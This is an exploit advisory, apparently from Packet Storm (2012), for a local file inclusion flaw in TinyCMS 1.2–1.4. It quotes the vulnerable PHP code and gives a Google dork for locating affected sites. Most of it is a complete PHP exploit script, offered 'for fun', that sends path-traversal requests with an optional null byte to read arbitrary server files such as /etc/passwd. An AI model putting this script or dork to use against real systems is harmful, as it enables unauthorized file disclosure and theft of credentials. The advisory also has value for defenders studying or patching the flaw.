TinyCMS 1.4 本地文件包含

[+] Exploit title: TinyCMS - Local File Inclusion

[+] Date: 2/10/2012

[+] Author: Phizo

[+] Vendor: http://www.tinycms.net/

[+] Version: 1.2 - 1.4

[+] Category: webapps

[+] Google dork: intext:"Powered by TinyCMS"

[+] Tested on: Windows 7 | Firefox 15.0.1

 

 

All current versions of TinyCMS seem to be affected by the following local file inclusion vulnerability.

TinyCMS 1.0 and 1.1 are no longer available on the developer's website, however 1.2 to 1.4 remain today and are vulnerable.

The option for omitting or including the null byte in the request was included because some web servers may have a WAF (Web Application Firewall) installed and/or magic quotes installed which may prevent inclusion of the desired file.

The Google dork provided currently produces "About 4,510 results".

The vulnerable code along with an exploit has been included.

Have fun.

 

 

========================

index.php ~ lines 23-44

========================

 

     if(!isset($_SERVER['HTTP_X_REQUESTED_WITH'])) {

         ob_start();

         @include 'tpl/wsl.tpl';

         $page_content = ob_get_contents();

         ob_end_clean();

 

         echo $page_content;

     }

     else {

         header('content-type: application/json; charset=utf-8');

 

         $page_data = array('pageName' => $_GET['page'], 'content' => '');

 

         ob_start();

         @include 'tpl/' . $_GET['page'] . '.html';

         $page_data['content'] = ob_get_contents();

         ob_end_clean();

 

         echo json_encode($page_data);

     }

 

   }

 

 

 

=================

   Exploit code

=================

 

<?php

 

# TinyCMS - Local File Inclusion

# http://hackforums.net/member.php?action=profile&uid=42381

 

echo <<<EOT

 

     __________________________________

     \ TinyCMS - Local File Inclusion /

     /         Author: Phizo          \

     __________________________________

 

 

EOT;

 

$options = getopt('u:f:o:n::');

 

if(!isset($options['u'], $options['f']))

     die("\n       Usage example: php tinycms.php -uhttp://target.com/ -f /etc/passwd\n

        -uhttp://target.com/    The full path to TinyCMS.

        -f /etc/passwd           The file to include.

        -o source.txt            The output file to write to.       [Optional]

        -n                       Omit null byte from request.       [Optional]\n");

 

 

$url    =  $options['u'];

$file   =  $options['f'];

 

$output = @$options['o'];

$null   = @$options['n'];

 

 

$url     = !isset($null) ? "{$url}?page=../{$file}%00" : "{$url}?page=../{$file}";

$headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1',

                  'X-Requested-With: XMLHttpRequest');

 

 

echo "\n[+] URL       -> {$options['u']}\n";

echo !isset($null) ? "[+] File      -> {$file}\n" : "[+] File      -> {$file}.html\n";

echo !isset($null) ? "[+] Null byte -> included\n" : "[+] Null byte -> omitted\n";

echo "\n[+] Submitting request...\n";

 

 

$handle = curl_init();

 

curl_setopt($handle, CURLOPT_URL, $url);

curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);

curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);

 

$json = curl_exec($handle);

curl_close($handle);

 

$source = json_decode($json, true);

 

echo "______________________________________________\n";

 

if(!empty($source['content']))

{

     if(!isset($output))

         echo "{$source['content']}\n";

     else

         file_put_contents($output, $source['content']);

}

else

{

     die("\n[+] File could not be included.\n");

}

 

echo "\n[+] Exploit completed.\n";

 

?>     


http://dl.packetstormsecurity.net/1210-exploits/tinycms14-lfi.txt